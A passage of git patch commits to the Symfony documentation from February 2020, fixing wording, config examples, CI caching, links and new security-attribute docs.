-* :method:`Symfony\\Component\\HttpFoundation\\Response::setVary`;
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setPublic`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setPrivate`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::expire`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setExpires`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setMaxAge`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setSharedMaxAge`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setTtl`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setClientTtl`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setLastModified`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag`
+* :method:`Symfony\\Component\\HttpFoundation\\Response::setVary`
 
 The :method:`Symfony\\Component\\HttpFoundation\\Response::setCache` method
 can be used to set the most commonly used cache information in one method

From 8f898d44448056bf9a6bf8251efdc46d909d8c75 Mon Sep 17 00:00:00 2001
From: Marco Petersen <m@rcopetersen.com>
Date: Mon, 24 Feb 2020 13:35:57 +0100
Subject: [PATCH 0418/7107] Misc wording/grammar improvements

---
 cache.rst | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/cache.rst b/cache.rst
index 977ab1e5448..b833ed4bc43 100644
--- a/cache.rst
+++ b/cache.rst
@@ -4,8 +4,8 @@
 Cache
 =====
 
-Using cache is a great way of making your application run quicker. The Symfony cache
-component is shipped with many adapters to different storages. Every adapter is
+Using a cache is a great way of making your application run quicker. The Symfony cache
+component ships with many adapters to different storages. Every adapter is
 developed for high performance.
 
 The following example shows a typical usage of the cache::
@@ -27,7 +27,7 @@ The following example shows a typical usage of the cache::
     // ... and to remove the cache key
     $pool->delete('my_cache_key');
 
-Symfony supports the Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
+Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
 .. versionadded:: 4.2
@@ -46,9 +46,9 @@ of:
     This is a service that you will interact with. Each pool will always have
     its own namespace and cache items. There is never a conflict between pools.
 **Adapter**
-    An adapter is a *template* that you use to create Pools.
+    An adapter is a *template* that you use to create pools.
 **Provider**
-    A provider is a service that some adapters are using to connect to the storage.
+    A provider is a service that some adapters use to connect to the storage.
     Redis and Memcached are example of such adapters. If a DSN is used as the
     provider then a service is automatically created.
 
@@ -108,7 +108,7 @@ The Cache component comes with a series of adapters pre-configured:
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
 
 Some of these adapters could be configured via shortcuts. Using these shortcuts
-will create pool with service id of ``cache.[type]``
+will create pools with service IDs that follow the pattern ``cache.[type]``.
 
 .. configuration-block::
 
@@ -302,13 +302,13 @@ You can also create more customized pools:
             ],
         ]);
 
-Each pool manages a set of independent cache keys: keys of different pools
+Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
 of the compiled container class and a :ref:`configurable seed<reference-cache-prefix-seed>`
 that defaults to the project directory.
 
-Each custom pool becomes a service where the service id is the name of the pool
+Each custom pool becomes a service whose service ID is the name of the pool
 (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool
 using the camel case version of its name - e.g. ``custom_thing.cache`` can be
 injected automatically by naming the argument ``$customThingCache`` and type-hinting it
@@ -334,7 +334,7 @@ Custom Provider Options
 
 Some providers have specific options that can be configured. The
 :doc:`RedisAdapter </components/cache/adapters/redis_adapter>` allows you to
-create providers with option ``timeout``, ``retry_interval``. etc. To use these
+create providers with the options ``timeout``, ``retry_interval``. etc. To use these
 options with non-default values you need to create your own ``\Redis`` provider
 and use that when configuring the pool.
 
@@ -426,7 +426,7 @@ item in a cache chain, Symfony stores it in all pools sequentially. When
 retrieving an item, Symfony tries to get it from the first pool. If it's not
 found, it tries the next pools until the item is found or an exception is thrown.
 Because of this behavior, it's recommended to define the adapters in the chain
-in order from the fastest to the slowest.
+in order from fastest to slowest.
 
 If an error happens when storing an item in a pool, Symfony stores it in the
 other pools and no exception is thrown. Later, when the item is retrieved,
@@ -494,9 +494,9 @@ Using Cache Tags
 ----------------
 
 In applications with many cache keys it could be useful to organize the data stored
-to be able to invalidate the cache more efficient. One way to achieve that is to
+to be able to invalidate the cache more efficiently. One way to achieve that is to
 use cache tags. One or more tags could be added to the cache item. All items with
-the same key could be invalidate with one function call::
+the same key could be invalidated with one function call::
 
     use Symfony\Contracts\Cache\ItemInterface;
     use Symfony\Contracts\Cache\TagAwareCacheInterface;
@@ -644,14 +644,14 @@ Clearing the Cache
 
 To clear the cache you can use the ``bin/console cache:pool:clear [pool]`` command.
 That will remove all the entries from your storage and you will have to recalculate
-all values. You can also group your pools into "cache clearers". There are 3 cache
+all the values. You can also group your pools into "cache clearers". There are 3 cache
 clearers by default:
 
 * ``cache.global_clearer``
 * ``cache.system_clearer``
 * ``cache.app_clearer``
 
-The global clearer clears all the cache in every pool. The system cache clearer
+The global clearer clears all the cache items in every pool. The system cache clearer
 is used in the ``bin/console cache:clear`` command. The app clearer is the default
 clearer.
 

From 34206843d760dfa7a362df474a5f53e45d85a666 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <dequippe.quentin@gmail.com>
Date: Tue, 25 Feb 2020 14:46:09 +0100
Subject: [PATCH 0419/7107] =?UTF-8?q?Update=20return=20statement=20for=20g?=
 =?UTF-8?q?etUser=20=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`getUser` function excepts null or UserInterface to be returned.
---
 security/guard_authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7b40f9898aa..4ccb4c3737b 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -195,7 +195,7 @@ This requires you to implement several methods::
         {
             if (null === $credentials) {
                 // The token header was empty, authentication fails with 401
-                return;
+                return null;
             }
 
             // if a User is returned, checkCredentials() is called

From e1184ef0fa4bb66d8520f4f0505ef74b7f181915 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Wed, 26 Feb 2020 16:02:31 +0100
Subject: [PATCH 0420/7107] Update workflow.rst

I corrected the file path.
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index c4930453368..dc40f485d60 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -46,7 +46,7 @@ like this:
 
     .. code-block:: yaml
 
-        # config/framework.yaml
+        # config/packages/workflow.yaml
         framework:
             workflows:
                 blog_publishing:

From 2f99a03ec3b89afd87e36e8e447bbd201d6a1486 Mon Sep 17 00:00:00 2001
From: SKmedix <skmedixs@gmail.com>
Date: Wed, 26 Feb 2020 17:12:02 +0100
Subject: [PATCH 0421/7107] :alien: Updated links to Bootstrap docs

---
 form/bootstrap4.rst         | 6 +++---
 form/form_customization.rst | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index f069ae33788..57d6e944b8e 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -12,10 +12,10 @@ template which other templates extend from):
 
     {# beware that the blocks in your template may be named different #}
     {% block head_css %}
-        <!-- Copy CSS from https://getbootstrap.com/docs/4.1/getting-started/introduction/#css -->
+        <!-- Copy CSS from https://getbootstrap.com/docs/4.4/getting-started/introduction/#css -->
     {% endblock %}
     {% block head_js %}
-        <!-- Copy JavaScript from https://getbootstrap.com/docs/4.1/getting-started/introduction/#js -->
+        <!-- Copy JavaScript from https://getbootstrap.com/docs/4.4/getting-started/introduction/#js -->
     {% endblock %}
 
 If your application uses modern front-end practices, it's better to use
@@ -112,4 +112,4 @@ is a strong connection between the error and its ``<input>``, as required by the
 `WCAG 2.0 standard`_.
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
-.. _`custom forms`: https://getbootstrap.com/docs/4.1/components/forms/#custom-forms
+.. _`custom forms`: https://getbootstrap.com/docs/4.4/components/forms/#custom-forms
diff --git a/form/form_customization.rst b/form/form_customization.rst
index ba18cfa403f..b3f3c0fcf52 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -856,7 +856,7 @@ more details about this concept in Twig, see :ref:`twig-reference-form-variables
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
-.. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.3/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.1/
+.. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`Foundation CSS framework`: http://foundation.zurb.com/

From 598f1c13268674a8e79cfb59220fa59d7351656c Mon Sep 17 00:00:00 2001
From: Vadim Bondarenko <v.bondarenko2991@gmail.com>
Date: Wed, 26 Feb 2020 22:52:22 +0200
Subject: [PATCH 0422/7107] fix Mercure PublisherStub should be implement
 PublisherInterface

---
 mercure.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index cebcc11eeb0..f6250e90c61 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -551,9 +551,10 @@ be handled by a stub publisher::
     // tests/Functional/Fixtures/PublisherStub.php
     namespace App\Tests\Functional\Fixtures;
 
+    use Symfony\Component\Mercure\PublisherInterface;
     use Symfony\Component\Mercure\Update;
 
-    class PublisherStub
+    class PublisherStub implements PublisherInterface
     {
         public function __invoke(Update $update): string
         {

From 4ae1210f486ceb34bde281cb6fcb92c715a597f5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=90=D0=BD=D0=B4=D1=80=D0=B5=D0=B9?=
 <andrummail@gmail.com>
Date: Thu, 27 Feb 2020 07:13:47 +0000
Subject: [PATCH 0423/7107] Document RenderView method

---
 templates.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/templates.rst b/templates.rst
index 8e08bb7f042..fffb396eb6c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -446,6 +446,19 @@ the :class:`Twig\\Environment` class::
         }
     }
 
+Rendering a Template's Content
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``renderView()`` method renders a template and returns its content. The content from the template can be used to create a ``Response`` object::
+
+    use Symfony\Component\HttpFoundation\Response;
+    
+    $content = $this->renderView('product/index.html.twig', [
+        'category' => '...',
+        'promotions' => ['...', '...'],
+    );
+    
+    return new Response($content);
+
 Rendering a Template in Emails
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 12f6ddcda8d4c43451046fce39727d838e11ccf3 Mon Sep 17 00:00:00 2001
From: smoench <simon.moench@sensiolabs.de>
Date: Tue, 25 Feb 2020 15:08:46 +0100
Subject: [PATCH 0424/7107] cache doctor rst

---
 .github/workflows/ci.yaml | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d61b084f1e5..18dad91be74 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -52,7 +52,20 @@ jobs:
             -   name: "Checkout"
                 uses: actions/checkout@v2
 
+            -   name: "Create cache dir"
+                run: mkdir .cache
+
+            -   name: "Extract base branch name"
+                run: echo "##[set-output name=branch;]$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})"
+                id: extract_base_branch
+
+            -   name: "Cache DOCtor-RST"
+                uses: actions/cache@v1
+                with:
+                    path: .cache
+                    key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
+
             -   name: "Run DOCtor-RST"
                 uses: docker://oskarstark/doctor-rst
                 with:
-                    args: --short
+                    args: --short --cache-file=/github/workspace/.cache/doctor-rst.cache

From 8f3c38e348b5203b40ea534a919fc08fb0de4f5d Mon Sep 17 00:00:00 2001
From: Leonardo Losoviz <leo@getpop.org>
Date: Fri, 28 Feb 2020 15:45:33 +0800
Subject: [PATCH 0425/7107] Fixed verb "send" in past tense: "sent"

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 4c5a192a320..066f126d72b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -15,7 +15,7 @@ Installation
 Current web applications use many different channels to send messages to
 the users (e.g. SMS, Slack messages, emails, push notifications, etc.). The
 Notifier component in Symfony is an abstraction on top of all these
-channels. It provides a dynamic way to manage how the messages are send.
+channels. It provides a dynamic way to manage how the messages are sent.
 Get the Notifier installed using:
 
 .. code-block:: terminal

From 929fac73334529f609dcdda854ed12751feacae9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 28 Feb 2020 12:28:29 +0100
Subject: [PATCH 0426/7107] add missing "secrets" key

---
 configuration/secrets.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f1294143732..81ebe2ae9f3 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -115,7 +115,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference by:
         # config/packages/doctrine.yaml
         doctrine:
             dbal:
-                password: '%env(DATABASE_PASSWORD)%'
+                password: '%env(secret:DATABASE_PASSWORD)%'
                 # ...
             # ...
 

From 0e2b406ed1b3b32e8d7fa2158f5aa0b48d3c5eb4 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 24 Feb 2020 20:09:52 +0100
Subject: [PATCH 0427/7107] Documented new security attributes

---
 components/security/authorization.rst | 20 ++++++++++++++++----
 security.rst                          | 17 ++++++++++++++++-
 security/impersonating_user.rst       | 13 +++++++++----
 security/remember_me.rst              | 12 +++++++++++-
 4 files changed, 52 insertions(+), 10 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 4918953bc26..253bbd45f06 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -105,10 +105,22 @@ AuthenticatedVoter
 ~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\AuthenticatedVoter`
-voter supports the attributes ``IS_AUTHENTICATED_FULLY``, ``IS_AUTHENTICATED_REMEMBERED``,
-and ``IS_AUTHENTICATED_ANONYMOUSLY`` and grants access based on the current
-level of authentication, i.e. is the user fully authenticated, or only based
-on a "remember-me" cookie, or even authenticated anonymously?::
+voter supports the attributes ``IS_AUTHENTICATED_FULLY``,
+``IS_AUTHENTICATED_REMEMBERED``, ``IS_AUTHENTICATED_ANONYMOUSLY``,
+to grant access based on the current level of authentication, i.e. is the
+user fully authenticated, or only based on a "remember-me" cookie, or even
+authenticated anonymously?
+
+It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
+``IS_IMPERSONATED`` to grant access based on a specific state of
+authentication.
+
+.. versionadded:: 5.1
+
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATED``
+    attributes were introduced in Symfony 5.1.
+
+::
 
     use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
 
diff --git a/security.rst b/security.rst
index ec7c17dcb29..0d6a3e61d45 100644
--- a/security.rst
+++ b/security.rst
@@ -663,7 +663,7 @@ You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
 ``access_control`` or in Twig.
 
 ``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
-user that has logged in will have this. Actually, there are 3 special attributes
+user that has logged in will have this. Actually, there are some special attributes
 like this:
 
 * ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
@@ -679,6 +679,21 @@ like this:
   this - this is useful when *whitelisting* URLs to guarantee access - some
   details are in :doc:`/security/access_control`.
 
+* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
+
+* ``IS_REMEMBERED``: *Only* users authenticated using the 
+  :doc:`remember me functionality </security/remember_me>`, (i.e. a
+  remember-me cookie).
+
+* ``IS_IMPERSONATOR``: When the current user is
+  :doc:`impersonating </security/impersonating_user>` another user in this
+  session, this attribute will match.
+
+.. versionadded:: 5.1
+
+    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
+    attributes were introduced in Symfony 5.1.
+
 .. _security-secure-objects:
 
 Access Control Lists (ACLs): Securing individual Database Objects
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index d9d1deba976..580e9e3149b 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -85,16 +85,21 @@ role to the users that need it.
 Knowing When Impersonation Is Active
 ------------------------------------
 
-When a user is being impersonated, Symfony grants them a special role called
-``ROLE_PREVIOUS_ADMIN`` (in addition to the roles the user may have). Use this
-special role, for instance, to show a link to exit impersonation in a template:
+You can use the special attribute ``IS_IMPERSONATOR`` to check if the
+impersonation is active in this session. Use this special role, for
+instance, to show a link to exit impersonation in a template:
 
 .. code-block:: html+twig
 
-    {% if is_granted('ROLE_PREVIOUS_ADMIN') %}
+    {% if is_granted('IS_IMPERSONATOR') %}
         <a href="{{ path('homepage', {'_switch_user': '_exit'}) }}">Exit impersonation</a>
     {% endif %}
 
+.. versionadded:: 5.1
+
+    The ``IS_IMPERSONATOR`` was introduced in Symfony 5.1. Use
+    ``ROLE_PREVIOUS_ADMIN`` prior to Symfony 5.1.
+
 Finding the Original User
 -------------------------
 
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7df40a41fb3..a001e0367ef 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -176,7 +176,8 @@ visiting the site.
 
 In some cases, however, you may want to force the user to actually re-authenticate
 before accessing certain resources. For example, you might not allow "remember me"
-users to change their password. You can do this by leveraging a few special "roles"::
+users to change their password. You can do this by leveraging a few special
+"attributes"::
 
     // src/Controller/AccountController.php
     // ...
@@ -200,6 +201,15 @@ users to change their password. You can do this by leveraging a few special "rol
         // ...
     }
 
+.. tip::
+
+    There is also a ``IS_REMEMBERED`` attribute that grants *only* when the
+    user is authenticated via the remember me mechanism.
+
+.. versionadded:: 5.1
+
+    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
+
 .. _remember-me-token-in-database:
 
 Storing Remember Me Tokens in the Database

From b80765a4b55fa07716b421fb5f77dc5eb7bf1222 Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Mon, 24 Feb 2020 23:23:16 +0100
Subject: [PATCH 0428/7107] Hide build progress to clean up output

---
 .github/workflows/ci.yaml                          | 2 +-
 _build/.requirements.txt                           | 2 +-
 _build/_themes/_exts/symfonycom/sphinx/__init__.py | 2 ++
 _build/conf.py                                     | 2 +-
 4 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d61b084f1e5..3836a4e71d7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -41,7 +41,7 @@ jobs:
                 run: pip install -r _build/.requirements.txt
 
             -   name: "Build documentation"
-                run: make -C _build SPHINXOPTS=-nW html
+                run: make -C _build SPHINXOPTS=-nqW html
 
     doctor-rst:
         name: DOCtor-RST
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
index 6f1f8953dff..b5073dd2e77 100644
--- a/_build/.requirements.txt
+++ b/_build/.requirements.txt
@@ -10,4 +10,4 @@ requests==2.20.0
 six==1.10.0
 snowballstemmer==1.2.1
 sphinx==1.3.6
-git+https://github.com/fabpot/sphinx-php.git@7312eccce9465640752e51373a480da700e02345#egg_name=sphinx-php
+git+https://github.com/fabpot/sphinx-php.git@v1.0.14#egg_name=sphinx-php
diff --git a/_build/_themes/_exts/symfonycom/sphinx/__init__.py b/_build/_themes/_exts/symfonycom/sphinx/__init__.py
index 426d79826d7..7cba92f2595 100644
--- a/_build/_themes/_exts/symfonycom/sphinx/__init__.py
+++ b/_build/_themes/_exts/symfonycom/sphinx/__init__.py
@@ -161,3 +161,5 @@ class SensioStyle(Style):
 
 def setup(app):
     app.set_translator('html', SensioHTMLTranslator)
+
+    return {'parallel_read_safe': True}
diff --git a/_build/conf.py b/_build/conf.py
index 998fb450a08..c6d4bbd3250 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -35,7 +35,7 @@
 # coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
 extensions = [
     'sphinx.ext.autodoc', 'sphinx.ext.doctest', 'sphinx.ext.todo',
-    'sensio.sphinx.refinclude', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice', 'sensio.sphinx.codeblock',
+    'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice', 'sensio.sphinx.codeblock',
     'symfonycom.sphinx'
     #,'sphinxcontrib.spelling'
 ]

From 804e676b6cd94d6cfe0e1678dea9f4461ae5e619 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 28 Feb 2020 14:13:29 +0100
Subject: [PATCH 0429/7107] Removed built in web server (it was re-introduced
 in a merge conflict)

---
 setup/built_in_web_server.rst | 127 ----------------------------------
 1 file changed, 127 deletions(-)
 delete mode 100644 setup/built_in_web_server.rst

diff --git a/setup/built_in_web_server.rst b/setup/built_in_web_server.rst
deleted file mode 100644
index 506e7d60f9c..00000000000
--- a/setup/built_in_web_server.rst
+++ /dev/null
@@ -1,127 +0,0 @@
-.. index::
-    single: Web Server; Built-in Web Server
-
-How to Use PHP's built-in Web Server
-====================================
-
-.. deprecated:: 4.4
-
-    This article explains how to use the WebServerBundle to run Symfony
-    applications on your local computer. However, that bundle is deprecated
-    since Symfony 4.4 and will be removed in Symfony 5.0.
-
-    Instead of using WebServerBundle, the preferred way to run your Symfony
-    applications locally is to use the :doc:`Symfony Local Web Server </setup/symfony_server>`.
-
-The PHP CLI SAPI comes with a `built-in web server`_. It can be used to run your
-PHP applications locally during development, for testing or for application
-demonstrations. This way, you don't have to bother configuring a full-featured
-web server such as :doc:`Apache or nginx </setup/web_server_configuration>`.
-
-.. caution::
-
-    The built-in web server is meant to be run in a controlled environment.
-    It is not designed to be used on public networks.
-
-Symfony provides a web server built on top of this PHP server to simplify your
-local setup. This server is distributed as a bundle, so you must first install
-and enable the server bundle.
-
-Installing the Web Server Bundle
---------------------------------
-
-Move into your project directory and run this command:
-
-.. code-block:: terminal
-
-    $ cd your-project/
-    $ composer require --dev symfony/web-server-bundle
-
-Starting the Web Server
------------------------
-
-To run a Symfony application using PHP's built-in web server, execute the
-``server:start`` command:
-
-.. code-block:: terminal
-
-    $ php bin/console server:start
-
-This starts the web server at ``localhost:8000`` in the background that serves
-your Symfony application.
-
-By default, the web server listens on port 8000 on the loopback device. You
-can change the socket passing an IP address and a port as a command-line argument:
-
-.. code-block:: terminal
-
-    # passing a specific IP and port
-    $ php bin/console server:start 192.168.0.1:8080
-
-    # passing '*' as the IP means to use 0.0.0.0 (i.e. any local IP address)
-    $ php bin/console server:start *:8080
-
-.. note::
-
-    You can use the ``server:status`` command to check if a web server is
-    listening:
-
-    .. code-block:: terminal
-
-        $ php bin/console server:status
-
-.. tip::
-
-    Some systems do not support the ``server:start`` command, in these cases
-    you can execute the ``server:run`` command. This command behaves slightly
-    different. Instead of starting the server in the background, it will block
-    the current terminal until you terminate it (this is usually done by
-    pressing Ctrl and C).
-
-.. sidebar:: Using the built-in Web Server from inside a Virtual Machine
-
-    If you want to use the built-in web server from inside a virtual machine
-    and then load the site from a browser on your host machine, you'll need
-    to listen on the ``0.0.0.0:8000`` address (i.e. on all IP addresses that
-    are assigned to the virtual machine):
-
-    .. code-block:: terminal
-
-        $ php bin/console server:start 0.0.0.0:8000
-
-    .. caution::
-
-        You should **NEVER** listen to all interfaces on a computer that is
-        directly accessible from the Internet. The built-in web server is
-        not designed to be used on public networks.
-
-Command Options
-~~~~~~~~~~~~~~~
-
-The built-in web server expects a "router" script (read about the "router"
-script on `php.net`_) as an argument. Symfony already passes such a router
-script when the command is executed in the ``prod`` or ``dev`` environment.
-Use the ``--router`` option to use your own router script:
-
-.. code-block:: terminal
-
-    $ php bin/console server:start --router=config/my_router.php
-
-If your application's document root differs from the standard directory layout,
-you have to pass the correct location using the ``--docroot`` option:
-
-.. code-block:: terminal
-
-    $ php bin/console server:start --docroot=public_html
-
-Stopping the Server
--------------------
-
-When you finish your work, you can stop the web server with the following command:
-
-.. code-block:: terminal
-
-    $ php bin/console server:stop
-
-.. _`built-in web server`: https://www.php.net/manual/en/features.commandline.webserver.php
-.. _`php.net`: https://www.php.net/manual/en/features.commandline.webserver.php#example-415

From dfa9ddf6fb9696af425e8d7c44a3554b9caae398 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 28 Feb 2020 15:07:33 +0100
Subject: [PATCH 0430/7107] fix XML options config example

---
 messenger.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5f153908971..9ce207f0d8d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -323,7 +323,7 @@ etc) instead of the object::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;
-    
+
     class NewUserWelcomeEmail
     {
         private $userId;
@@ -538,7 +538,9 @@ different messages to them. For example:
                 <framework:messenger>
                     <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
                         <framework:options>
-                            <framework:queue_name>high</framework:queue_name>
+                            <framework:queue>
+                                <framework:name>Queue</framework:name>
+                            </framework:queue>
                         </framework:options>
                     </framework:transport>
                     <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
@@ -846,7 +848,11 @@ The transport has a number of options:
                 <framework:messenger>
                     <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%?queue_name=high_priority"/>
                     <framework:transport name="async_priority_low" dsn="%env(MESSENGER_TRANSPORT_DSN)%">
-                        <framework:option queue_name="normal_priority"/>
+                        <framework:options>
+                            <framework:queue>
+                                <framework:name>normal_priority</framework:name>
+                            </framework:queue>
+                        </framework:options>
                     </framework:transport>
                 </framework:messenger>
             </framework:config>

From 9dc18b3c5469f46542c09b17f82aa64d3375b308 Mon Sep 17 00:00:00 2001
From: scriptibus <mail@lucasnothnagel.de>
Date: Fri, 28 Feb 2020 17:37:01 +0100
Subject: [PATCH 0431/7107] Update UniqueEntity.rst

The description of the message property implies that it is not possible to change the mapping of the error message.
---
 reference/constraints/UniqueEntity.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index e229fb6447d..1f089f2529a 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -145,9 +145,9 @@ each with a single field.
 
 **type**: ``string`` **default**: ``This value is already used.``
 
-The message that's displayed when this constraint fails. This message is always
-mapped to the first field causing the violation, even when using multiple fields
-in the constraint.
+The message that's displayed when this constraint fails. This message is by default
+mapped to the first field causing the violation. When using multiple fields
+in the constraint, the mapping can be specified in the `errorPath`_ property.
 
 Messages can include the ``{{ value }}`` placeholder to display a string
 representation of the invalid entity. If the entity doesn't define the

From 9143067ae12194860ef6b010e8d94738a94e24af Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Fri, 28 Feb 2020 12:46:58 +0100
Subject: [PATCH 0432/7107] add XML and PHP config examples

---
 messenger.rst | 182 ++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 175 insertions(+), 7 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 5f153908971..c30f930d2f3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -323,7 +323,7 @@ etc) instead of the object::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;
-    
+
     class NewUserWelcomeEmail
     {
         private $userId;
@@ -671,6 +671,54 @@ this is configurable for each transport:
                             # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
                             # service: null
 
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
